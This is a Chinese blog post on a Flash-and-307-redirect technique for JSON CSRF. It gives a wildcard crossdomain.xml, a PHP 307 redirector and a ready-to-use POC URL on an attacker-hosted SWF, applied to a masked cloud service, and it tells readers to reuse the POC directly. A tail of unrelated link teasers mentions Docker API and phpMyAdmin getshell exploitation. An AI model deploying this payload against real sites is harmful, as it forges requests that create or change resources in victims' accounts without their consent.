JSON CSRF新姿势
以前做渗透测试,遇到过很多次POST数据为JSON数据的CSRF,一直没有搞定,最近发现一个新姿势,
本文作者:Mannix@安全文库
微信公众号:安全文库
测试的时候,当应用程序验证了Content-type和data format,这种新姿势依然可以可以使用flash和307重定向来实现JSON CSRF。
要求:
1 制作一个Flash文件
2 制作一个跨域XML文件
3 制作一个具有307状态码的PHP文件
制作FLASH文件:
这个flash(.swf)文件有我们需要POST的json格式的数据,攻击者必须在目标应用程序上发布,并链接到托管的php文件。
安全文库精华文章
这是测试 SWF文件代码,可以根据需要下载和编辑内容。
跨域XML文件:
<cross-domain-policy>
<allow-access-from domain="*" secure="false"/>
<allow-http-request-headers-from domain="*" headers="*" secure="false"/>
</cross-domain-policy>
该文件应该在攻击者网站的根目录上托管,所以flash文件可以请求攻击者的主机。
注意:如果Flash文件和重定向器页面在同一个域上,则不需要跨域文件。
具有307状态码的PHP文件:
<?php
// redirect automatically
header("Location: https://victim.com/user/endpoint/", true, 307);
?>
Flash文件请求这个php文件,这将使307重定向到所提到的应用程序端点,而307是特殊的重定向,它将发布从Flash文件接收到目标端点的JSON数据,并且CSRF将成功发生。
注意:由于这是基于闪存,所以flash应该安装在浏览器中使其工作,这在现在正常不过了,但可能在将来不会执行。
好了,举个栗子吧
(所有敏感细节已经遮蔽,此案例仅供技术探讨,切勿模仿,否则后果自负)某云认知服务应用列表创建应用处存JSON CSRF。
安全文库精华文章
安全文库精华文章
可以看到几个关键点
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json; charset=utf-8
X-Requested-With: XMLHttpRequest
没有验证referrer也没有任何token
构造属于我们自己的POC:
http://blog.xss.tv/test.swf?jsonData={%22apiId%22:%221%22,%22chargingType%22:0,%22limitCount%22:100,%22limitCycle%22:0,%22appName%22:%22{我是测试}Mannix%22}&php_url=http://blog.xss.tv/test.php&endpoint=http://xxx/ai/console/create
安全文库精华文章
执行过后,页面是没有任何显示的
返回刷新原始页面
安全文库精华文章
可以看到已经成功执行了CSRF创建了一个新的应用
分析一下POC
http://blog.xss.tv/test.swf?jsonData={%22apiId%22:%221%22,%22chargingType%22:0,%22limitCount%22:100,%22limitCycle%22:0,%22appName%22:%22{我是测试}Mannix%22}&php_url=http://blog.xss.tv/test.php&endpoint=http://xxx/ai/console/create
安全文库精华文章
第一步,通过flash发送需要POST的json格式的数据,并链接到托管的php文件。
经过307跳转以后实现CSRF
安全文库精华文章
安全文库精华文章
具体文章参考:
需要测试的可以直接按照我的POC套数据。
JSON CSRF新姿势的更多相关文章
- 【转+自己研究】新姿势之Docker Remote API未授权访问漏洞分析和利用
0x00 概述 最近提交了一些关于 docker remote api 未授权访问导致代码泄露.获取服务器root权限的漏洞,造成的影响都比较严重,比如 新姿势之获取果壳全站代码和多台机器root权限 ...
- NET Core 3.0 AutoFac替换内置DI的新姿势
原文:NET Core 3.0 AutoFac替换内置DI的新姿势 .NET Core 3.0 和 以往版本不同,替换AutoFac服务的方式有了一定的变化,在尝试着升级项目的时候出现了一些问题. 原 ...
- Python一键转Jar包,Java调用Python新姿势!
粉丝朋友们,不知道大家看故事看腻了没(要是没腻可一定留言告诉我^_^),今天这篇文章换换口味,正经的来写写技术文.言归正传,咱们开始吧! 本文结构: 需求背景 进击的Python Java和Pytho ...
- FJNU 1159 Fat Brother’s new way(胖哥的新姿势)
FJNU 1159 Fat Brother’s new way(胖哥的新姿势) Time Limit: 1000MS Memory Limit: 257792K [Description] [题目 ...
- Broadcom BCM94352z/DW1560驱动新姿势
转自:https://blog.daliansky.net/Broadcom-BCM94352z-DW1560-drive-new-posture.html Broadcom WiFi/BlueToo ...
- vue组件通信新姿势
在vue项目实际开发中我们经常会使用props和emit来进行子父组件的传值通信,父组件向子组件传递数据是通过prop传递的, 子组件传递数据给父组件是通过$emit触发事件来做到的.例如: Vue. ...
- bzoj1656: [Usaco2006 Jan] The Grove 树木 (bfs+新姿势)
题目大意:一个n*m的图中,“.”可走,“X”不可走,“*”为起点,问从起点开始绕所有X一圈回到起点最少需要走多少步. 一开始看到这题,自己脑洞了下怎么写,应该是可过,然后跑去看了题解,又学会了一 ...
- Java计时新姿势
为获得更好的阅读体验,请访问原文:传送门 前言: 最近公司来了个大佬,从他那里学到不少东西,其中一个就是计时 的新姿势「StopWatch」,赶紧来一起了解了解吧! 一.最简单的计时 在我们的程序中不 ...
- 【漏洞复现】PHPmyadmin 4.8.1后台Getshell新姿势
原文地址:https://mp.weixin.qq.com/s/HZcS2HdUtqz10jUEN57aog 早上看到群里在讨论一个新姿势,phpmyadmin后台getshell,不同于以往需要知道 ...
随机推荐
- [NOI2016]优秀的拆分&&BZOJ2119股市的预测
[NOI2016]优秀的拆分 https://www.lydsy.com/JudgeOnline/problem.php?id=4650 题解 如果我们能够统计出一个数组a,一个数组b,a[i]表示以 ...
- centos7下安装部署mongodb集群(副本集模式)
环境需求:Mongodb集群有三种模式: Replica Set, Sharding,Master-Slaver. 这里部署的是Replica Set模式. 测试环境: 这里副本集(Replica ...
- javascript正则表达式---正向预查
什么是正向预查?这里有腾讯招聘的一个例子: 如何给一串数字用千分制表示?比如9999999999变成9,999,999,999.这样一个问题你会怎么答呢?博主js正则学的不咋样,然后用操作字符串的办法 ...
- HTML 5 canvas globalCompositeOperation 属性
做一个canvas鼠标跟随动画的时候用到了,就copy w3c的解释整理一番: globalCompositeOperation 属性设置或返回如何将一个源(新的)图像绘制到目标(已有)的图像上. 源 ...
- kafka为什么这么优秀!
kafka为什么这么优秀! 阿飞的博客 匠心零度 今天 1.动机2.持久化3.效率4.生产者4.1负载均衡4.2异步发送5.消费者Push vs. Pull消费者位置离线数据加载 1.动机 kafka ...
- Kafka史上最详细原理总结
https://blog.csdn.net/ychenfeng/article/details/74980531 Kafka Kafka是最初由Linkedin公司开发,是一个分布式.支持分区的(pa ...
- 使用 Spring Cloud Stream 构建消息驱动微服务
相关源码: spring cloud demo 微服务的目的: 松耦合 事件驱动的优势:高度解耦 Spring Cloud Stream 的几个概念 Spring Cloud Stream is a ...
- 组件之间的数据传递--Vuex
安装Vuex: npm install Vuex -S 在main.js中引入 import Vue from 'vue' import App from './App' import Vuex fr ...
- 利用captcha库绘制验证码
#导包 from captcha.image import ImageCaptcha from PIL import Image import random import time import os ...
- 用宏定义代替printf函数
来自:http://blog.csdn.net/yannanxiu/article/details/52506451 #define _DEBUG_ 1 #if _DEBUG_ #define PR( ...